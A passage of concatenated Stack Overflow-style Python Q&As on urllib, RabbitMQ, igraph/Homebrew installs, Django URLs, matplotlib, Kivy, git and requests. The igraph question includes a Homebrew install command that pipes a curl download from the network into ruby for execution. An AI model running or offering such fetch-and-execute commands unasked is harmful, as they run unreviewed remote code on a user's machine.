[docker volumes](https://docs.docker.com/userguide/dockervolumes/#mount-a-host- directory-as-a-data-volume) to access the share rather than attempting to mount it inside the container.
Python urllib timeout error even with headers for certain websites Question: I'm writing a simple Python 3 script to retrieve HTML data. Here's my test script: import urllib.request url="http://techxplore.com/news/2015-05-audi-r8-e-tron-aims-high.html" req = urllib.request.Request( url, data=None, headers={ 'User-agent': 'Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11', 'Referer': 'http://www.google.com' } ) f = urllib.request.urlopen(req) This works fine for most websites but returns the following error for certain ones: urllib.error.URLError: <urlopen error [Errno 110] Connection timed out> The URL shown in the script is one of the sites that returns this error. Based on research from other posts and sites, it seems like manually setting the user-agent and/or the referer should solve the problem, but this script still times out. I'm not sure why this is occurring only for certain websites, and I don't know what else to try. I wold appreciate any suggestions the community could offer. Answer: I tried the script again today without changing anything, and it worked perfectly. Looks like it was just something strange going on with the remote web server.
RabbitMQ - routing messages after they reach their expiration time Question: I've recently found out RabbitMQ feature that allows you to delay messages and it works great although I couldn't find any examples similar to what I need: Let's say there are 3 types of messages: A, B and C. We've got 2 delay_queues with 1 hour and 2 hours `'x-message-ttl` values. There are also 3 types of destination_queues - each for specific message type. What I would like to achieve is after the message in one of the delay_queues reaches its TTL it's going to be routed to one of the destination_queues depending on its type. Something like this: ![enter image description here](http://i.stack.imgur.com/soqVk.jpg) Is this even possible using RabbitMQ message properties? Any ideas? My code sending messages to the delay queue (after expiration they're sent to hello queue): #!/usr/bin/env python import pika connection = pika.BlockingConnection(pika.ConnectionParameters( 'localhost')) channel = connection.channel() channel.confirm_delivery() channel.queue_declare(queue='hello', durable=True) channel.queue_bind(exchange='amq.direct', queue='hello') delay_channel = connection.channel() delay_channel.confirm_delivery() delay_channel.queue_declare(queue='hello_delay', durable=True, arguments={ 'x-message-ttl' : 3600000, 'x-dead-letter-exchange' : 'amq.direct', 'x-dead-letter-routing-key' : 'hello' }) while 1 : delay_channel.basic_publish(exchange='', routing_key='hello_delay', body="test", properties=pika.BasicProperties(delivery_mode=2)) print "Sent to delay queue" Answer: When messages expire because they reach the imposed TTL, they can be redirected to a [dead-letter exchange](https://www.rabbitmq.com/dlx.html), that's what I think you are using implicitly to move messages to a further queue after they are expired. You can select different destination queues by using the original routing-keys of the messages, or eventually "CC" and "BCC" message headers.
How to scale up picture in Python? Question: I am really do not know how to scale up a part of picture. I need scale up someone's nose. Example: def scaleUp(): pic=makePicture(pickAFile()) width=getWidth() height=getHeight() Answer: You can use [Pillow](http://pillow.readthedocs.org/en/latest/reference/Image.html) library to do that: import Image infile = "test.png" outfile = "test_resized.jpg" size = (1024, 768) im = Image.open(infile) print im.size # Size in pixels # Resize: im.resize(size, Image.ANTIALIAS) im.save(outfile, "JPEG")
error importing igraph Question: On importing igraph in python, I get an error (see below). Since igraph is not part of anaconda, I executed the below outlined steps for installation. What is libglpk.35.dylib, how should I load it, and why is this problem occurring? ## igraph cannot be imported '' import igraph '' Traceback (most recent call last): '' File "<stdin>", line 1, in <module> '' File "/Users/claushaslauer/anaconda/lib/python2.7/site-packages/igraph/__init__.py", line 34, in <module> '' from igraph._igraph import * '' ImportError: dlopen(/Users/claushaslauer/anaconda/lib/python2.7/site-packages/igraph/_igraph.so, 2): Library not loaded: /usr/local/lib/libgmp.10.dylib '' Referenced from: /usr/local/lib/libglpk.35.dylib '' Reason: image not found ## installation steps 1. install homebrew via `ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"` 2. install pkg-config (via [igraph-help](https://lists.gnu.org/archive/html/igraph-help/2015-03/msg00013.html)) `brew install pkg-config` 3. install igraph via homebrew: `brew install igraph` 4. link: `brew install homebrew/science/igraph` 5. `pip install python-igraph` ## following suggestions from Evert: 1. `brew uninstall igraph` 2. `brew uninstall gmp` 3. `brew uninstall glkp` \-- `Error: No such keg: /usr/local/Cellar/glkp` 4. `brew install igraph` ==> Installing igraph from homebrew/homebrew-science ==> Installing igraph dependency: gmp ==> Downloading <https://homebrew.bintray.com/bottles/gmp-6.0.0a.yosemite.bottle>. Already downloaded: /Library/Caches/Homebrew/gmp-6.0.0a.yosemite.bottle.tar.gz ==> Pouring gmp-6.0.0a.yosemite.bottle.tar.gz Error: The brew link step did not complete successfully The formula built, but is not symlinked into /usr/local Could not symlink include/gmp.h Target /usr/local/include/gmp.h already exists. You may want to remove it: rm '/usr/local/include/gmp.h' To force the link and overwrite all conflicting files: brew link --overwrite gmp To list all files that would be deleted: brew link --overwrite --dry-run gmp Possible conflicting files are: /usr/local/include/gmp.h /usr/local/lib/libgmp.a ==> Summary /usr/local/Cellar/gmp/6.0.0a: 15 files, 3.2M ==> Installing igraph ==> Downloading <https://homebrew.bintray.com/bottles-science/igraph-0.7.1.yosemi> Already downloaded: /Library/Caches/Homebrew/igraph-0.7.1.yosemite.bottle.tar.gz ==> Pouring igraph-0.7.1.yosemite.bottle.tar.gz /usr/local/Cellar/igraph/0.7.1: 83 files, 6.4M * what does "Error: The `brew link` step did not complete successfully" imply? * I don't see anything related to `/usr/local/lib/libglpk.35.dylib` \-- when I call python now, the same error occurs as before. ## Solution with Evert's help thanks Evert for the additional answer. With this content, I can import igraph now. Three things to note: 1. When I say `brew tap homebrew/sciene`, log in with my github credentials, I get remote: Repository not found. fatal: repository 'https://github.com/Homebrew/homebrew-sciene/' not found Error: Failure while executing: git clone https://github.com/Homebrew/homebrew-sciene /usr/local/Library/Taps/homebrew/homebrew-sciene --depth=1 I am not sure how critical this is, as it turned out, I can run igraph without this. However, the URL `https://github.com/Homebrew/homebrew-sciene/` produces a 404 error for me. 2. `brew search glpk` and `brew search igraph` both return the one line output pointing to `homebrew/science/...` 3. `brew link --overwrite gmp` says it created 11 symlinks. I think this is what solved my issue so now I can import igraph fine in python. Thanks for your help. Answer: The `glpk` dependency is missing, because when installing `igraph`, only the default packages are searched for. `glpk` lives, just like `igraph`, in an extra homebrew repository called [homebrew/science](https://github.com/homebrew/homebrew-science). You can automatically access that repository by "tapping" it: brew tap homebrew/science Now, all packages included in this repository are also searched for. To confirm, try and see if the following two commands give just the package name back: brew search glpk brew search igraph * * * Before reinstalling `igraph`, you have to fix the link issue with `gmp`; this is just a result of homebrew not completely uninstalling `igraph` and its dependencies during the uninstall step. For this, you can follow homebrew's suggestion: brew link --overwrite gmp (You're overwriting the `gmp` package with the previously and still partly installed `gmp` package; they are the same, so no harm is done.) * * * Now, you should be able to install igraph: brew install igraph If this also gives a warning/error about links, use the same `--overwrite` option as for `gmp`. In case `brew install igraph` did not install `glpk` (i.e., you didn't see a message like "==> Installing igraph dependency: glpk"), you can simply install it separately: brew install glpk Give or take a minor detail, you should now have a working igraph installation (and, since you never uninstalled python-igraph, this should also still work).
Panda3d error No module named direct.showbase.ShowBase in python 2.7 Question: I already checked ( in stack exchange and other sites) and googled my problem but all solution seems useless. Here's the problem : My computer had win xp and had python2.7 and panda3d (version 1.8.1) installed (python in D: and panda3d in C: ). The module was working perfectly. Unfortunately I had to format my C drive. I upgraded to win 7 instead of installing xp again after formatting. Now I had python 2.7 in my D: drive (Which had not been formatted) working perfectly well and only had to install panda in the c: drive at same location again to make my panda files work. I installed and followed each and every instruction while installing. ( I already had a panda.pth file in my python at my D: drive so no need to make a panda.pth file again). An option came which asked me whether I want to replace existing python and I clicked No as I had done the same the previous time. Now as I had one panda.pth file available in D:/python27 I did not go for creating another and tried to run the following line : from direct.showbase.ShowBase import ShowBase Which resulted in the above error. So I deleted my pth file in python27 folder and created again. Nothing worked. I completely removed python and panda3d and reinstalled the complete thing again and made a .pth file again. Still nothing works. Then on one of the site I visited told me to check my path variables PYTHONHOME and PYTHONPATH but no such path variables are there. I'm in total distress and none of my panda files are now starting.(Dont mark this Q as duplicate as I have already tried the other solutions in previous replied to the same Q. My problem is certainly different) Help me! Answer: Panda3D ships with its own copy of Python 2.7. You can invoke it by running ppython.exe. You can use a different version of Python, as long as it is the same major version (2.7) and as long as it is the same architecture (should be 32-bit, as Panda3D 1.8.1 is 32-bit). This means putting a panda.pth file in the site- packages directory, containing absolute paths to the root directory and the "bin" directory of your Panda3D installation, each on a separate line. You could also install Panda3D 1.9.0, which will ask you during the installation whether you'd like to use an existing Python 2.7 installation, if it finds a compatible one already installed.
python to understand human friendly (plain English) date specification Question: Is there an existing Python package that integrates with `datetime` and understands human-friendly date specification format, somewhat similar to how `/usr/bin/date` on `GNU Linux` does it? $ date -d 'today' Thu May 28 14:01:15 XXX 2015 $ date -d 'tomorrow' Fri May 29 14:01:23 XXX 2015 $ date -d 'this Sunday' Sun May 31 00:00:00 XXX 2015 $ date -d 'Wednesday next week' Wed Jun 10 00:00:00 XXX 2015 Answer: [`parsedatetime`](https://pypi.python.org/pypi/parsedatetime/?) may be helpful: import datetime as DT import parsedatetime as pdt p = pdt.Calendar() for text in ('today', 'tomorrow', 'this Sunday', 'Wednesday next week', 'next week Wednesday', ): timetuple, flag = p.parse(text) date = DT.datetime(*timetuple[:6]) print('{:20} --> {}'.format(text, date)) yields today --> 2015-05-28 09:00:00 tomorrow --> 2015-05-29 09:00:00 this Sunday --> 2015-05-31 09:13:46 Wednesday next week --> 2015-06-01 09:00:00 next week Wednesday --> 2015-06-03 09:00:00 But notice that `Wednesday next week` is parsed incorrectly.
How to convert an input number 34,6 to decimal form 34.6 in Python Question: How to convert an input number 34,6 to decimal form 34.6 in python? I made simple program in pyqt4 GUI and in Germany the Germans consider "," as "." so how can I convert my input "a" (line Edit) number to decimal ? def test(self): a = int(self.ui.lineEdit.text()) b = int (self.ui.lineEdit_2.text()) Result = math.pow((a+b),2) self.ui.lineEdit_3.setText(str(Result)) Answer: As per in : [Here](http://stackoverflow.com/questions/6633523/how-can-i- convert-a-string-with-dot-and-comma-into-a-float-number-in-python) Try this from locale import * setlocale(LC_NUMERIC, '') # set to your default locale; for me this is # 'English_Canada.1252'. Or you could explicitly specify a locale in which floats # are formatted the way that you describe, if that's not how your locale works :) atof('123,456') # 123456.0 # To demonstrate, let's explicitly try a locale in which the comma is a # decimal point: setlocale(LC_NUMERIC, 'French_Canada.1252') atof('123,456') # 123.456 Maybe your code could be: from locale import * def test(self): setlocale(LC_NUMERIC, 'French_Canada.1252') a = atof(self.ui.lineEdit.text()) b = atof(self.ui.lineEdit_2.text()) Result = math.pow((a+b),2) self.ui.lineEdit_3.setText(str(Result))
Django: How to change the page at the click of a line? Question: I'm trying to make some views in Ddjango when i click on a line in a tag in HTMl and i need some advise and please take into account that i'm a beginner in Django. Indeed, i would like to change my view when i click on it, what will open a new view called like the `Hash` inside my tag. Let me explain you with this code called `bap2pmonitoring.html`: {% load staticfiles %} <!DOCTYPE html> <html lang="fr"> <head> <link rel="stylesheet" type="text/css" href="{% static 'css/style.css' %}" /> </head> <body> <h1> BAP2P Monitoring</h1> <table> <tr> <th width=550 height=20>Torrent Hash</th> <th width=720 height=20>Torrent Name</th> <th width=120 height=20>Size</th> <th width=170 height=20>Active Peers</th> </tr> {% for torrent in torrents %} <p id="demo"> <tr bgcolor=eeeeee> <td width=550 height=20><a href="{{ url 'hash' torrent.Hash }}">{{ torrent.Hash }}</a></td> <td width=720 height=20>{{ torrent.Name }}</td> <td width=120 height=20>{{ torrent.Size }}</td> <td width=170 height=20></td> </tr> </p> {% endfor %} </table> </body> </html> I obtain thus this result: ![enter image description here][1] My idea is that when i click in one of these 2 lines, it render a new view with informations about this torrent with the hash of the torrent as url like this: 127.0.0.1:8000/torrents/606d4759c464c8fd0d4a5d8fc7a223ed70d31d7b Following the Django tutorial, i tried lot's of things without success and then i tried a "onclick" to start one of my def in my `view.py` like this: from django.shortcuts import render_to_response from django.template import Template , Context from polls.models import Torrent # Create your views here. # -*- coding: utf-8 -*- def home(request): return render_to_response('mysite/bap2pmonitoring.html', {'torrents':Torrent.objects.all()}) def details(request, torrent_hash): return render_to_response('mysite/detail_torrent.html', {'torrents':Torrent.objects.filter(hash=torrent_hash)}) I also tried to display the hash as an url like this in `urls.py`: from django.conf.urls import patterns,include, url from django.contrib import admin from polls.models import Torrent urlpatterns = patterns('polls.views', url(r'^torrents$', 'home', name = 'home'), url(r'^torrents/(?P<torrent_hash>)/$', 'details', name = 'hash'), url(r'^admin/', include(admin.site.urls)), ) I don't understand how can i resolve this, any idea are welcomed and appreciated Now i'm obtaining this error page: NoReverseMatch at /torrents Reverse for 'hash' with arguments '(u'606d4759c464c8fd0d4a5d8fc7a223ed70d31d7b',)' and keyword arguments '{}' not found. 1 pattern(s) tried: ['torrents/(?P<torrent_hash>)/$'] And this Traceback: Environment: Request Method: GET Request URL: http://127.0.0.1:8000/torrents Django Version: 1.8.1 Python Version: 2.7.3 Installed Applications: ('django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'polls') Installed Middleware: ('django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.auth.middleware.SessionAuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'django.middleware.security.SecurityMiddleware') Template error: In template /home/florian/Documents/mysite/templates/mysite/bap2pmonitoring.html, error at line 23 Reverse for 'hash' with arguments '(u'606d4759c464c8fd0d4a5d8fc7a223ed70d31d7b',)' and keyword arguments '{}' not found. 1 pattern(s) tried: ['torrents/(?P<torrent_hash>)/$'] 13 : <tr> 14 : <th width=550 height=20>Torrent Hash</th> 15 : <th width=720 height=20>Torrent Name</th> 16 : <th width=120 height=20>Size</th> 17 : <th width=170 height=20>Active Peers</th> 18 : </tr> 19 : 20 : {% for torrent in torrents %} 21 : <p id="demo"> 22 : <tr bgcolor=eeeeee> 23 : <td width=550 height=20><a href=" {% url 'hash' torrent.Hash %} ">{{ torrent.Hash }}</a></td> 24 : <td width=720 height=20>{{ torrent.Name }}</td> 25 : <td width=120 height=20>{{ torrent.Size }}</td> 26 : <td width=170 height=20></td> 27 : </tr> 28 : </p> 29 : {% endfor %} 30 : 31 : </table> 32 : 33 : </body> Traceback: File "/usr/local/lib/python2.7/dist-packages/django/core/handlers/base.py" in get_response 132. response = wrapped_callback(request, *callback_args, **callback_kwargs) File "/home/florian/Documents/mysite/polls/views.py" in home 8. return render_to_response('mysite/bap2pmonitoring.html', {'torrents':Torrent.objects.all()}) File "/usr/local/lib/python2.7/dist-packages/django/shortcuts.py" in render_to_response 39. content = loader.render_to_string(template_name, context, using=using) File "/usr/local/lib/python2.7/dist-packages/django/template/loader.py" in render_to_string 99. return template.render(context, request) File "/usr/local/lib/python2.7/dist-packages/django/template/backends/django.py" in render 74. return self.template.render(context) File "/usr/local/lib/python2.7/dist-packages/django/template/base.py" in render 209. return self._render(context) File "/usr/local/lib/python2.7/dist-packages/django/template/base.py" in _render 201. return self.nodelist.render(context) File "/usr/local/lib/python2.7/dist-packages/django/template/base.py" in render 903. bit = self.render_node(node, context) File "/usr/local/lib/python2.7/dist-packages/django/template/debug.py" in render_node 79. return node.render(context) File "/usr/local/lib/python2.7/dist-packages/django/template/defaulttags.py" in render 217. nodelist.append(node.render(context)) File "/usr/local/lib/python2.7/dist-packages/django/template/defaulttags.py" in render 507. six.reraise(*exc_info) File "/usr/local/lib/python2.7/dist-packages/django/template/defaulttags.py" in render 493. url = reverse(view_name, args=args, kwargs=kwargs, current_app=current_app) File "/usr/local/lib/python2.7/dist-packages/django/core/urlresolvers.py" in reverse 579. return force_text(iri_to_uri(resolver._reverse_with_prefix(view, prefix, *args, **kwargs))) File "/usr/local/lib/python2.7/dist-packages/django/core/urlresolvers.py" in _reverse_with_prefix 496. (lookup_view_s, args, kwargs, len(patterns), patterns)) Exception Type: NoReverseMatch at /torrents Exception Value: Reverse for 'hash' with arguments '(u'606d4759c464c8fd0d4a5d8fc7a223ed70d31d7b',)' and keyword arguments '{}' not found. 1 pattern(s) tried: ['torrents/(?P<torrent_hash>)/$'] Answer: You'll need to: change the context for your detail view to access only a single torrent, and also include your argument from the URL: details(request, torrent_hash): return render_to_response('mysite/detail_torrent.html', {'torrent':Torrent.objects.filter(hash=torrent_hash)}) use a URL like this, which passes through your torrent hash to the view: url(r'^torrents/(?P<torrent_hash>)/$', 'details', name = 'hash'), You'll also need your detail_torrent.html template, which you can then use your 'torrent' context in. Edit to pre-empt another question: In your main template, you can use this change to link through to the torrent. You are then passing the torrent.Hash variable through to your URL as the argument, which will be used for torrent_hash in the URL regex: {% for torrent in torrents %} <p id="demo"> <tr bgcolor=eeeeee> <td width=550 height=20><a href="{{ url 'hash' torrent.Hash }}">{{ torrent.Hash }}</a></td> <td width=720 height=20>{{ torrent.Name }}</td> <td width=120 height=20>{{ torrent.Size }}</td> <td width=170 height=20></td> </tr> </p> {% endfor %}
Add a list of labels in Pythons matplotlib Question: I have a 3 dimensional plot in matplotlib, the input data consists of 3 lists of x,y,z coordinates and a list of labels that indicates which class each coordinate set belongs too. From the labels I create a colour list that then assigns a colour to each of coordinates.: x_cords = projected_train[:,0] y_cords = projected_train[:,1] z_cords = projected_train[:,2] fig = plt.figure() ax = fig.add_subplot(111, projection='3d') colors = ['#008080',...,'#000000'] plotlabels = ['Acer campestre L',...,'Viburnum tinus'] #Creating colorlist from labels indexes colors = np.asarray(colors) colorslist = colors[labels] ax.scatter(x_cords, y_cords, z_cords, color=colorslist) plt.show() ![plot](http://i.imgur.com/jGpH8WB.png) the labels list is created in the same fashion as the colour list: labels = np.asarray(labels) plotlabelslist = plotlabels[labels] But when I add the labels to the plot: ax.scatter(x_cords, y_cords, z_cords, color=colorslist, label=plotlabelslist) plt.legend(loc='upper left') I get the following result: ![plot2](http://imgur.com/FewZVon.png) I have tried other ways of adding the labels but without any luck, are there any ways of adding a list of labels just as the colours are added, or do I have to plot every class one by one and add the labels, like in the answer from: [How to get different colored lines for different plots in a single figure?](http://stackoverflow.com/questions/4805048/how-to-get-different- colored-lines-for-different-plots-in-a-single-figure) any help or nudge in the right direction would be much appreciated! Answer: Would this work for you? [![enter image description here](http://i.stack.imgur.com/PqxQL.png)](http://i.stack.imgur.com/PqxQL.png) import numpy as np from mpl_toolkits.mplot3d import Axes3D import matplotlib.pyplot as plt x_cords = [1,2,4,2,5,3,2,5,3,4,6,2,3,4,5,3,4,2,4,5] y_cords = [6,5,3,4,5,6,3,5,4,6,3,4,5,6,3,4,5,6,3,4] z_cords = [3,1,3,4,2,4,5,6,3,4,5,6,2,4,5,7,3,4,5,6] classlbl= [0,2,0,1,2,0,2,0,1,2,0,1,0,2,0,2,0,1,0,2] colors = ['r','g','b'] Labels = ['RED','GREEN','BLUE'] fig = plt.figure() ax = fig.add_subplot(111, projection='3d') #plotlabels = ['Acer campestre L',...,'Viburnum tinus'] #Creating colorlist from labels indexes colors = np.asarray(colors) colorslist = colors[classlbl] Labels = np.asarray(Labels) labellist = Labels[classlbl] # Plot point by point for x,y,z,c,l in zip(x_cords, y_cords, z_cords,colorslist,labellist): ax.scatter(x, y, z, color=c,label=l) # Get the labels and handles handles, labels = ax.get_legend_handles_labels() # Filter the labels and handles to remove duplicates newLeg=dict() for h,l in zip(handles,labels): if l not in newLeg.keys(): newLeg[l]=h # Create new handles and labels handles=[] labels=[] for l in newLeg.keys(): handles.append(newLeg[l]) labels.append(l) # Create new Legend ax.legend(handles, labels) plt.show()
Python - Access a function in a child class Question: I am rewriting a Tkinter program of mine and I want to separate the logic and UI into two different files: `main.py`, `ui.py` In main we have a class `MainApp()` which handles all of the core functionality of the program. In ui we have a class `BaseApp()` which is responsible for rendering the UI and doing all of those kind of things. I have `BaseApp()` be a child of `MainApp()`, like this: **main.py** class MainApp(): def __init__(self): #some code here **ui.py** import main class BaseApp(main.MainApp): def __init__(self): main.MainApp.__init__(self) #render UI here e.g... mybtn = tkinter.Button(self.root, text="Hey StackOverflow", command=main.myFunction) This all works fine. I got a long way into making this system without any issues... then I hit an issue. I want to be able to call UI code from `main`. I need functions in the `MainApp(`) class in the `main` module to be able to display popups and create `Toplevel` windows defined in classes in the ui module. If `MainApp()` derives from `BaseApp()` then I can display the popups but the UI has access to none of the main features. If `BaseApp()` derives from `MainApp()` as above then the UI can access the logic but I cannot create any windows, e.g. `ui.ProgressWindow`, `ui.Alert` from the `main` module when I need to. Answer: The solution would be to import the UI module from main, and initialize `BaseApp()` inside the constructor of `MainApp()` while passing it a reference to `self` that `BaseApp` can later use to reference the logic functions. `MainApp` would also retain a reference to `BaseApp` that it can use to call UI functions. class MainApp: def __init__(self): self.UI = BaseApp(self) **Update:** In response to the circular import issue, it probably is best to put both classes in the same file. The functionality would still remain the same since the logic and UI functions would still be in different classes.
file writing permission error as user www-data Question: I am trying to write to a file by running a python script as user www-data. When I run the script using the following: sudo python my_script.py it writes fine. When I run the PHP script as www-data it doesn't write. Permissions: folder(PiControl....contains status_log file): drwxrwxrwx file(status_log....the file I am trying to write to): -rwxrwxrwx User:www-data group:www-data writing to file Python code: #!/usr/bin/python import datetime status="on" with open("status_log", "a") as myfile: myfile.write("{} {} {}".format("<br>light is now:", status,datetime.datetime.now())) I created a webpage button to run the file Can someone tell me what to change here? Answer: Because I had symlink'ed my web files from my home directory when the PHP read status_log they found it in my local directory, when www-data wrote to it (via the Python above) it created the file in /var/www, instead of /home where I was trying to read it from. The solution was to change the path of the file being read to its location in: /var/www
Python csv from database query adding a custom column to csv file Question: here is what I try to achieve my current code is working fine I get the query to run on my sql server but I will need to gather information from several servers. How would I add a column with the dbserver listed in that column? import pyodbc import csv f = open("dblist.ini") dbserver,UID,PWD = [ variable[variable.find("=")+1 :] for variable in f.readline().split("~")] connectstring = "DRIVER={SQL server};SERVER=" + dbserver + ";DATABASE=master;UID="+UID+";PWD="+PWD cnxn = pyodbc.connect(connectstring) cursor = cnxn.cursor() fd = open('mssql1.txt', 'r') sqlFile = fd.read() fd.close() cursor.execute(sqlFile) with open("out.csv", "wb") as csv_file: csv_writer = csv.writer(csv_file, delimiter = '!') csv_writer.writerow([i[0] for i in cursor.description]) # write headers csv_writer.writerows(cursor) Answer: You could add the extra information in your sql query. For example: select "dbServerName", * from table; Your cursor will return with an extra column in front of your real data that has the db Server name. The downside to this method is you're transferring a little more extra data.
Having the Error "ImportError: No module named setupconfig" with kivy Question: Trying to run the script in the question: [Kivy Text Input for Arabic Text](https://stackoverflow.com/questions/30514853/kivy-text-input-for-arabic- text). from kivy.app import App from kivy.uix.floatlayout import FloatLayout from kivy.uix.textinput import TextInput class EditorApp(App): def build(self): f = FloatLayout() textinput = TextInput(text='Hello world', font_name='DroidKufi-Regular.ttf') # import pdb; pdb.set_trace() f.add_widget(textinput) return f if __name__ == '__main__': EditorApp().run() I have Ubuntu 14.04 and I have installed `Cython` with `apt-get` and `kivy` with `pip` but still having this error: [INFO ] [Logger ] Record log in /home/assem/.kivy/logs/kivy_15-05-28_2.txt [INFO ] [Kivy ] v1.9.0 [INFO ] [Python ] v2.7.6 (default, Mar 22 2014, 22:59:38) [GCC 4.8.2] [INFO ] [Factory ] 173 symbols loaded Traceback (most recent call last): File "kivy.test.py", line 1, in <module> from kivy.app import App File "/usr/local/lib/python2.7/dist-packages/Kivy-1.9.0-py2.7-linux-i686.egg/kivy/app.py", line 324, in <module> from kivy.uix.widget import Widget File "/usr/local/lib/python2.7/dist-packages/Kivy-1.9.0-py2.7-linux-i686.egg/kivy/uix/widget.py", line 167, in <module> from kivy.graphics.transformation import Matrix File "/usr/local/lib/python2.7/dist-packages/Kivy-1.9.0-py2.7-linux-i686.egg/kivy/graphics/__init__.py", line 89, in <module> from kivy.graphics.instructions import Callback, Canvas, CanvasBase, \ File "vbo.pxd", line 7, in init kivy.graphics.instructions (/tmp/easy_install-0Cj46_/Kivy-1.9.0/kivy/graphics/instructions.c:13615) File "compiler.pxd", line 1, in init kivy.graphics.vbo (/tmp/easy_install-0Cj46_/Kivy-1.9.0/kivy/graphics/vbo.c:5217) File "shader.pxd", line 5, in init kivy.graphics.compiler (/tmp/easy_install-0Cj46_/Kivy-1.9.0/kivy/graphics/compiler.c:2970) File "texture.pxd", line 3, in init kivy.graphics.shader (/tmp/easy_install-0Cj46_/Kivy-1.9.0/kivy/graphics/shader.c:9955) File "context_instructions.pxd", line 1, in init kivy.graphics.texture (/tmp/easy_install-0Cj46_/Kivy-1.9.0/kivy/graphics/texture.c:28975) File "context_instructions.pyx", line 29, in init kivy.graphics.context_instructions (/tmp/easy_install-0Cj46_/Kivy-1.9.0/kivy/graphics/context_instructions.c:16774) File "/usr/local/lib/python2.7/dist-packages/Kivy-1.9.0-py2.7-linux-i686.egg/kivy/core/image/__init__.py", line 52, in <module> from kivy.setupconfig import USE_SDL2 ImportError: No module named setupconfig How could I fix that? Answer: I found an issue submitted to `kivy` about ["Setupconfig.py not installed with pip"](https://github.com/kivy/kivy/issues/2850), they seems fixed and closed it. However, I fixed the error by re-installing `kivy` via `apt-get` instead of `pip`. I followed the installation steps from [official webpage](http://kivy.org/docs/installation/installation-linux.html): $ sudo add-apt-repository ppa:kivy-team/kivy $ sudo apt-get install python-kivy
How can I include only one folder from another repository in Git? Question: I have a python module which looks like this. | |-- my_module/ |-- tests/ |-- .git/ I'd like to use it in another project. Normally submodules would suffice, however, I'd rather just drop in the actual module without including anything else into my app like so. |-- .git/ |-- my_app/ |-- my_module/ Is there a way to only import a single folder using a git submodule? > If I can't or if it's impractical, how else can I include a single folder > from another git-tracked project while keeping it version controlled? Answer: If you wish not to use git `submodule` you can simply checkout the desired folder. Since there is no explicit way to grab only folder from the repo you will have to something manually like this: - create your desired repositories (you already have it) - write a script that loop over range of commits - extract the desired folder content from the current commit - commit the current folder The problem with this is that you will not have the original SHA-1 since you only committing partial section of the commit snapshot. ### Code sample Your code should look something like: for commit in $(git rev-list $branch) do if git ls-tree --name-only -r $commit | grep '<your desired path>'; then // Process the commit content git checkout <path> git add .... git commit .... exit 0 fi done ### Why cant I just pull out folder form git history? The reason is simply the way git store its content. > Git is stupid content tracker (Linus Tovalds) Which means that git doesn't store the content in the same way we see it in our working directory. Git simply take a **snapshot** of the current file system (In real its little bit more complicated and git use blobs, hunks, heuristics and much more) so in order to extract specific content from the history you must `checkout` the specific content from the the `commit` itself.
use python requests to post a html form to a server and save the reponse to a file Question: I have exactly the same problem as this post [Python submitting webform using requests](https://stackoverflow.com/questions/22407580/python-submitting- webform-using-requests) but your answers do not solve it. When I execute this HTML file called api.htm in the browser, then for a second or so I see its page. Then the browser shows the data I want with the URL <https://api.someserver.com/api/> as as per the action below. But I want the data written to a file so I try the Python 2.7 script below. But all I get is the source code of api.htm Please put me on the right track! <html> <body> <form id="ID" method="post" action="https://api.someserver.com/api/ "> <input type="hidden" name="key" value="passkey"> <input type="text" name="start" value ="2015-05-01"> <input type="text" name="end" value ="2015-05-31"> <input type="submit" value ="Submit"> </form> <script type="text/javascript"> document.getElementById("ID").submit(); </script> </body> </html> The code: import urllib import requests def main(): try: values = {'start' : '2015-05-01', 'end' : '2015-05-31'} req=requests.post("http://my-api-page.com/api.htm", data=urllib.urlencode(values)) filename = "datafile.csv" output = open(filename,'wb') output.write(req.text) output.close() return main() Answer: I can see several problems: * Your post target URL is incorrect. The `form` `action` attribute tells you where to post to: <form id="ID" method="post" action="https://api.someserver.com/api/ "> * You are not including all the fields; `type=hidden` fields need to be posted too, but you are ignoring this one: <input type="hidden" name="key" value="passkey"> * Do not URL-encode your POST variables yourself; leave this to `requests` to do for you. By encoding yourself `requests` won't recognise that you are using an `application/x-www-form-urlencoded` content type as the body. Just pass in the dictionary as the `data` parameters and it'll be encoded for you _and_ the header will be set. You can also _stream_ the response straight to a file object; this is helpful when the response is large. Switch on response streaming, make sure the underlying raw `urllib3` file-like object decodes from transfer encoding and use `shutil.copyfileobj` to write to disk: import requests import shutil def main(): values = { 'start': '2015-05-01', 'end': '2015-05-31', 'key': 'passkey', } req = requests.post("http://my-api-page.com/api.htm", data=values, stream=True) if req.status_code == 200: with open("datafile.csv", 'wb') as output: req.raw.decode_content = True shutil.copyfileobj(req.raw, output) There may still be issues with that `key` value however; perhaps the server sets a new value for each session, coupled with a cookie, for example. In that case you'd have to use a [`Session()` object](http://docs.python- requests.org/en/latest/user/advanced/#session-objects) to preserve cookies, first do a `GET` request to the `api.htm` page, parse out the `key` hidden field value and only **then** post. If that is the case then using a tool like [`robobrowser`](http://robobrowser.readthedocs.org/en/latest/) might just be easier.
Using basemap and matplotlib- parallels dont show up Question: I have a script that plots cruise positions. The transect plots fine however I get a error message about plotting my parallels. Here is the error message : Traceback (most recent call last): File "csv_matplot.py", line 37, in <module> map.drawparallels(np.arange(47.5, 48.5, 1), labels=[1,0,0,0]) File "...python2.7/site-packages/mpl_toolkits/basemap/__init__.py", line 2067, in drawparallels if t is not None: linecolls[int(lat)][1].append(t) KeyError: 47 Here is the code : import csv from mpl_toolkits.basemap import Basemap import matplotlib.pyplot as plot import numpy as np #get data from csv lat = [] lon = [] filename = raw_input("Enter file to map: ") with open(filename, 'rU') as f: reader = csv.DictReader(f) for row in reader: lat.append(row['Latitude']) lon.append(row['Longitude']) lats = [float(i) for i in lat] lons = [float(i) for i in lon] print '.....Making map of %s.....' % filename #draw basemap map = Basemap(projection='merc',llcrnrlat=47.5,urcrnrlat=48.5,\ llcrnrlon=-123,urcrnrlon=-122,lat_ts=10,resolution='f') map.fillcontinents(color='green',lake_color='aqua') map.drawmapboundary(fill_color='blue') #insert data to basemap x,y = map(lons, lats) map.plot(x, y, 'r', marker = 'o', linestyle = '-', markersize=4) map.drawparallels(np.arange(47.5, 48.5, 1), labels=[1,0,0,0]) 